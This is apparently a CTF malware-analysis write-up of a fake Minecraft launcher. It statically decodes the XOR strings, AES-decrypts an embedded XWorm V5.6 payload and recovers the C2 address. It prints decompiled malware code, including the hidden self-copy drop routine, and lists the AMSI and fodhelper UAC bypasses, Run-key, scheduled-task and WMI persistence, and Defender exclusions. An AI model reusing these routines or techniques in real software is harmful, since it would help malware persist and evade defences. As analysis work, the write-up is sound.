Skip to content
Adam Omar Saleh

TVX CTF 2026 placeholder badge (unofficial)TVX CTF 2026Malware Analysis

MalwareX (1–5)

A “Minecraft launcher” that made a friend's PC behave strangely. Five questions ask for its hash, its string-obfuscation key, its persistence directory, its payload key and its C2 server.

Competition
TVX CTF 2026 placeholder badge (unofficial)TVX CTF 2026
Category
Malware AnalysisMedium · estimated
Source status
Answers derived · platform unverified
Document
PDF edition10 min read

Brief

The challenge

Competition
TVX CTF 2026
Category
Malware Analysis (platform category: Malware)
Difficulty
Medium — estimated, not an official rating
Points
50 / 50 / 10 / 50 / 50
Solves
53 on the challenge card when captured
Verification
Answers derived from evidence; platform acceptance not documented

Difficulty: Medium (estimated). TVX CTF 2026 did not publish difficulty ratings; the challenge cards show only points and solve counts. A five-question static analysis of a .NET loader: XOR-obfuscated strings, an AES-encrypted embedded payload, and a second-stage XWorm configuration encrypted with a key derived from its mutex. Each step is standard malware triage, but the chain is long. The first card showed 53 solves when captured.

01

Overview

My friend recently downloaded what he thought was a legitimate Minecraft launcher. Not long after running it, his computer started acting strangely. Suspecting something was wrong, he sent me the executable to take a closer look.

Can you reverse engineer the file and uncover what was really hiding behind the launcher?

  1. What is the SHA-256 hash of the malware sample?

  2. What hexadecimal XOR key is used for string obfuscation in the first-stage loader?

  3. What directory under ProgramData is used by the loader to store a malicious copy of itself for persistence?

  4. After reversing the first-stage loader, what is the exact 256-bit AES key used to decrypt the embedded payload?

  5. What is the C2 IPv4 address and the TCP port configured for communication? (format TVX{ipv4:port})

Challenge page
Challenge page
Question 2
Question 2
Question 3
Question 3
Question 4
Question 4
Question 5
Question 5

A “Minecraft launcher” that made a friend's PC behave strangely. Five questions ask for its hash, its string-obfuscation key, its persistence directory, its payload key and its C2 server.

Solution path in brief

sample is a .NET loader posing as a Minecraft launcher (it impersonates "PCL2", a popular Chinese Minecraft launcher). Every string in it is XOR'd with 0xDD. It copies itself to C:\ProgramData\SystemGuard\winsrv.exe and two other folders, sets up persistence, disables AV, then AES-256-CBC decrypts an embedded resource with a hardcoded key. The decrypted payload is XWorm V5.6. Its config is AES-ECB encrypted with MD5(mutex), and decrypting it gives the C2 103.118.252.177:168.

Everything was done statically. The sample was never executed.

Text
sample (.NET loader)  ├─ strings: XOR 0xDD  ├─ resource r158286.dat ──AES-256-CBC(K, V)──► stage2.bin (XWorm V5.6)  │                                                └─ config: AES-ECB(MD5("WTvF178FT4EyjFcV"))  │                                                    └─ Hosts 127.0.0.1,103.118.252.177  Port 168  └─ persistence: C:\ProgramData\SystemGuard\winsrv.exe (+ 2 more copies)

02

Initial investigation

Static triage started with hashes and PE headers; the sample was never run.

SHA-256 of the sample

PowerShell
PS> (Get-FileHash malwareX\sample -Algorithm SHA256).HashE6B7BBA368CCF24AF6A9B594C99E2ADA7DD02EA32712B55EE59F203A6B81C0EE
AlgorithmHash
MD57431e3d035b31c9f4655693468edc5ab
SHA-196ac69c3e9a5d6eb4bf91051f2d18ae1efd2cb11
SHA-256e6b7bba368ccf24af6a9b594c99e2ada7dd02ea32712b55ee59f203a6b81c0ee

The headers show a 32-bit PE with a CLR header, so it's a .NET assembly. The .text section has entropy 7.87 because it carries an encrypted payload, and the compile timestamp is forged to 1986.

03

Tools used

  • PowerShell Get-FileHash

  • ILSpy / ilspycmd

  • Python 3 with PyCryptodome (solve.py, decode_strings.py)

04

Step-by-step process

Step 1: Decompiling the loader

The loader isn't packed, so ILSpy decompiles it cleanly:

Text
ilspycmd -p -o decompiled malwareX\sample

The output is a single class, EMktujTAJ.TQPlpKDH, plus the embedded resource r158286.dat (184,336 bytes).

Step 2: String obfuscation: XOR 0xDD (Q2)

Every interesting string goes through U():

C#
private const int XK = 221;​private static string U(string s){    char[] array = s.ToCharArray();    for (int i = 0; i < array.Length; i++)        array[i] = (char)(array[i] ^ 0xDD);    return new string(array);}

221 = 0xDD. Running solve.py --strings decodes all of them. These are the most useful ones:

PurposeDecoded string
Drop foldersC:\ProgramData\SystemGuard, C:\Users\Public\Documents, C:\Users\Public\Libraries
Drop nameswinsrv.exe, upnphost.exe, eventlog.exe
Embedded resourcer158286.dat
AMSI bypassamsi.dll / AmsiScanBuffer patched via NtProtectVirtualMemory
Run key valueSoftware\Microsoft\Windows\CurrentVersion\Run → WinwUBgRF0..2
Scheduled taskMicrosoftEdgeUpdateTaskhMUl, every PT1M for P999D
WMI persistenceWindowsUpdateMonitor / WindowsUpdateConsumer
UAC bypassms-settings\Shell\open\command + fodhelper.exe
Process hollowing hostSysWOW64\dllhost.exe
MutexGZMIkDQzrAapuh<role>
Payload renamepcl2 → TZDI

Step 3: Persistence directory: C:\ProgramData\SystemGuard (Q3)

The first decoded path array is where the loader drops copies of itself:

C#
private static string[] yKHBmb = {   // decoded    "C:\\ProgramData\\SystemGuard",    "C:\\Users\\Public\\Documents",    "C:\\Users\\Public\\Libraries"};private static string[] akCeKD = { "winsrv.exe", "upnphost.exe", "eventlog.exe" };

xlnPexw() reads its own bytes and writes them to yKHBmb[i] + "\\" + akCeKD[i] with the hidden attribute. The SystemGuard copy (winsrv.exe, role 0) is then wired into every persistence mechanism:

  • HKCU Run values

  • The MicrosoftEdgeUpdateTaskhMUl scheduled task

  • A WMI CommandLineEventConsumer

  • The fodhelper UAC-bypass command ("...\winsrv.exe" -avkill)

  • Defender exclusions

Only role 0 decrypts and runs the payload.

Step 4: AES-256 key for the embedded payload (Q4)

KUprdE() reads the resource and decrypts it:

C#
private static readonly byte[] K = new byte[32] {    62, 14, 249, 94, 109, 38, 150, 191, 152, 72, 1, 48, 100, 94, 15, 218,    36, 208, 86, 63, 239, 219, 148, 190, 243, 28, 240, 251, 131, 6, 131, 87 };private static readonly byte[] V = new byte[16] {    5, 242, 127, 168, 136, 152, 92, 49, 178, 183, 20, 229, 179, 192, 123, 229 };...rijndaelManaged.Key = K;  rijndaelManaged.IV = V;rijndaelManaged.Mode = CipherMode.CBC;  rijndaelManaged.Padding = PaddingMode.PKCS7;
Text
AES-256 key: 3e0ef95e6d2696bf98480130645e0fda24d0563fefdb94bef31cf0fb83068357AES IV     : 05f27fa888985c31b2b714e5b3c07be5

Decrypting r158286.dat gives a 184,320-byte .NET PE (stage2.bin). Before loading it with Assembly.Load, the loader also replaces UTF-16 pcl2 with TZDI inside the payload.

Step 5: Stage 2: XWorm V5.6 config (Q5)

Decompiling stage2.bin shows a VB.NET Stub namespace with the familiar XWorm command set (pong, rec, plugin, savePlugin, $Cap, DDos, Hosts, ...). The config sits in one class as Base64 ciphertext and is decrypted at startup by tsBppG85vp.mpE7WHTzqK:

C#
byte[] h = MD5(UTF8(Mutex));          // Mutex = "WTvF178FT4EyjFcV"Array.Copy(h, 0, key, 0, 16);Array.Copy(h, 0, key, 15, 16);        // 32-byte key, overlapping copyAES-ECB-Decrypt(key, Base64(value));

The connect routine picks a random entry from Hosts.Split(',') and connects to Port:

FieldValue
Hosts127.0.0.1,103.118.252.177
Port168
KEY<123456789>
SPL (separator)<Xwormmm>
GroupXWorm V5.6
USB nameUSB.exe
Install%Temp%\pcl2.exe

127.0.0.1 is the builder's loopback test entry, so the real C2 is 103.118.252.177:168.

Step 6: Complementary analysis from MalwareX - 3: the drop routine

The separate MalwareX - 3 challenge asked only question 3 about the same sample (same SHA-256). Its analysis adds the drop routine, the watchdog thread and the full list of drop locations, so it is merged here instead of being published twice.

Identify the binary

The SHA-256 is e6b7bba3…6b81c0ee, the same sample as part 1. It starts with MZ, and its strings include ClientHost.exe, System.Runtime.InteropServices and RuntimeHelpers, so it's a .NET assembly.

The UTF-16 strings already contain two folders under ProgramData:

Text
C:\ProgramData\SystemGuardC:\ProgramData\Microsoft\Windows\WER

Both appear in plaintext, so the code is needed to tell which one holds the persistence copy.

Decompile

Text
ilspycmd sample.dll -o decompiled

Both plaintext paths appear only inside a cleanup routine (line 1231), which checks process command lines for any of the loader's locations. The real copying happens in the drop routine:

C#
xolClnO("drop begin");byte[] array = File.ReadAllBytes(RNsfTZhvS());        // read own imagefor (int i = 0; i < 3; i++){    Directory.CreateDirectory(yKHBmb[i]);    string text = yKHBmb[i] + "\\" + akCeKD[i];    if (!File.Exists(text))    {        File.WriteAllBytes(text, array);              // write a copy of itself        File.SetAttributes(text, FileAttributes.Hidden);    }    xolClnO("dropped " + text);}...eIMFTWY(yKHBmb[j] + "\\" + akCeKD[j], "-r" + j);      // launch each copy

A watchdog thread (WZygOi) checks every 10 seconds whether each copy is running and relaunches it if not ("revive " + text). This is what keeps the loader persistent.

Decode the drop locations

The directory array yKHBmb and the file-name array akCeKD are obfuscated with the helper U():

C#
private static string U(string s){    char[] array = s.ToCharArray();    for (int i = 0; i < array.Length; i++)        array[i] = (char)(array[i] ^ 0xDD);    return new string(array);}

decode_strings.py reverses it:

Text
akCeKD   winsrv.exe   upnphost.exe   eventlog.exeyKHBmb   C:\ProgramData\SystemGuard   C:\Users\Public\Documents   C:\Users\Public\Libraries
IndexDirectoryCopy
0C:\ProgramData\SystemGuardwinsrv.exe
1C:\Users\Public\Documentsupnphost.exe
2C:\Users\Public\Librarieseventlog.exe

Only one of these directories is under ProgramData: SystemGuard. The WER path appears only in the cleanup list, and no copy is ever dropped there.

05

Commands and code

Solve script

solve.py decodes the XOR strings, decrypts the payload to stage2.bin, and decrypts the XWorm config:

Text
> python solve.pyAES-256 key: 3e0ef95e6d2696bf98480130645e0fda24d0563fefdb94bef31cf0fb83068357AES IV     : 05f27fa888985c31b2b714e5b3c07be5stage2: 184320 bytes, magic b'MZ'​stage2 config (XWorm, mutex WTvF178FT4EyjFcV)  Hosts       : 127.0.0.1,103.118.252.177  Port        : 168  ...

Full source: solve.py: strings, payload decryption and XWorm config

Python
import reimport sysfrom pathlib import Path​from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad​HERE = Path(__file__).parentSRC = (HERE / "decompiled/EMktujTAJ/TQPlpKDH.cs").read_text(encoding="utf-8")​XK = 0xDDK = bytes([62, 14, 249, 94, 109, 38, 150, 191, 152, 72, 1, 48, 100, 94, 15, 218,           36, 208, 86, 63, 239, 219, 148, 190, 243, 28, 240, 251, 131, 6, 131, 87])V = bytes([5, 242, 127, 168, 136, 152, 92, 49, 178, 183, 20, 229, 179, 192, 123, 229])​​def U(s):    return "".join(chr(ord(c) ^ XK) for c in s)​​def cs_literal(lit):    return re.sub(r"\\u([0-9a-fA-F]{4})", lambda m: chr(int(m.group(1), 16)),                  lit).replace('\\"', '"').replace("\\\\", "\\")​​if "--strings" in sys.argv:    for m in re.finditer(r'U\("((?:[^"\\]|\\.)*)"\)', SRC):        line = SRC.count("\n", 0, m.start()) + 1        print(f"{line:5}: {U(cs_literal(m.group(1)))}")​print("AES-256 key:", K.hex())print("AES IV     :", V.hex())​blob = (HERE / "decompiled/r158286.dat").read_bytes()pt = unpad(AES.new(K, AES.MODE_CBC, V).decrypt(blob), 16)# The loader also renames UTF-16 "pcl2" to "TZDI" inside the payload (RZpdDwY)pt = pt.replace("pcl2".encode("utf-16le"), "TZDI".encode("utf-16le"))(HERE / "stage2.bin").write_bytes(pt)print("stage2:", len(pt), "bytes, magic", pt[:2])​import base64import hashlib​MUTEX = "WTvF178FT4EyjFcV"h = hashlib.md5(MUTEX.encode()).digest()xkey = bytearray(32)xkey[0:16] = hxkey[15:31] = hconfig = {    "Hosts": "1Axy+1zkJsSw7iilFH+5NU93rb0x8NVVGK+eu+F9opU=",    "Port": "nQGKvNscLhtqAJJ69QXjUA==",    "KEY": "yua2SvO950F6Xxpx45xmdw==",    "SPL": "Eg60cgBXp9AJGHtT7Vvp3A==",    "Group": "mcKdq+O0sBFPv7ZzjAAevg==",    "USBNM": "ZO2Zgj8USR06dVtWTVsgOg==",    "InstallDir": "Ow8RxFEE0S5OaiVIz/zx7Q==",    "InstallName": "cGiNdYKgsPYC8q+0jnW19Q==",}print("\nstage2 config (XWorm, mutex", MUTEX + ")")for name, ct in config.items():    val = unpad(AES.new(bytes(xkey), AES.MODE_ECB).decrypt(base64.b64decode(ct)), 16)    print(f"  {name:12}: {val.decode()}")

Full source: decode_strings.py (MalwareX - 3): drop locations

Python
import re​src = open("decompiled/sample.decompiled.cs", encoding="utf-8").read()​​def unescape(s):    return re.sub(r"\\u([0-9a-fA-F]{4})", lambda m: chr(int(m.group(1), 16)), s)​​def xor_dd(s):    return "".join(chr(ord(c) ^ 0xDD) for c in s)​​for name in ("akCeKD", "yKHBmb"):    start = src.index(name + " = new")    block = src[start:src.index("};", start)]    print(name)    for m in re.finditer(r'U\("((?:[^"\\]|\\.)*)"\)', block):        print("  ", xor_dd(unescape(m.group(1))))

06

Technical explanation

The loader hides every string with a one-byte XOR (0xDD), drops hidden copies of itself into three folders, and decrypts an embedded resource with AES-256-CBC using a hard-coded key and IV. The decrypted stage is XWorm V5.6, whose configuration fields are AES-ECB encrypted with a key built from MD5(mutex). Decrypting them reveals the C2 host and port.

07

Flag

Q1

TVX{e6b7bba368ccf24af6a9b594c99e2ada7dd02ea32712b55ee59f203a6b81c0ee}

Q2

TVX{0xDD}

Q3

TVX{SystemGuard}

Q4

TVX{3e0ef95e6d2696bf98480130645e0fda24d0563fefdb94bef31cf0fb83068357}

Q5

TVX{103.118.252.177:168}

Answers derived · platform unverified

Notes from the source writeup: The platform didn't state a flag format for questions 1–4. If one is rejected, try the variants: TVX{DD} / 0xDD for Q2, TVX{C:\ProgramData\SystemGuard} for Q3, or the bare value without TVX{}.

08

Verification status

Status: Answers derived from evidence; platform acceptance not documented.

All five values come from static analysis; the sample was never executed. The SHA-256 is computed directly, and the other values come from decompiled code and decrypted data (solve.py). The source notes that the platform did not state a flag format for questions 1–4 and lists fallbacks. Platform acceptance is not documented.

Source evidence in the archive: WRITEUP.md, solve.py, images/00_challenge.png, images/02_q2.png..05_q5.png, ../malwarex_3/WRITEUP.md, ../malwarex_3/decode_strings.py.

09

Conclusion

A complete static unpacking of a commodity RAT loader, from hash to C2, without executing anything. The MalwareX - 3 analysis is merged here because it covers the same sample.

Prepared by Adam Omar Saleh from the archived solve notes in malwarex/. Commands, code, output and screenshots are reproduced from the source; no results were added. Difficulty is an estimate.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 10 pages.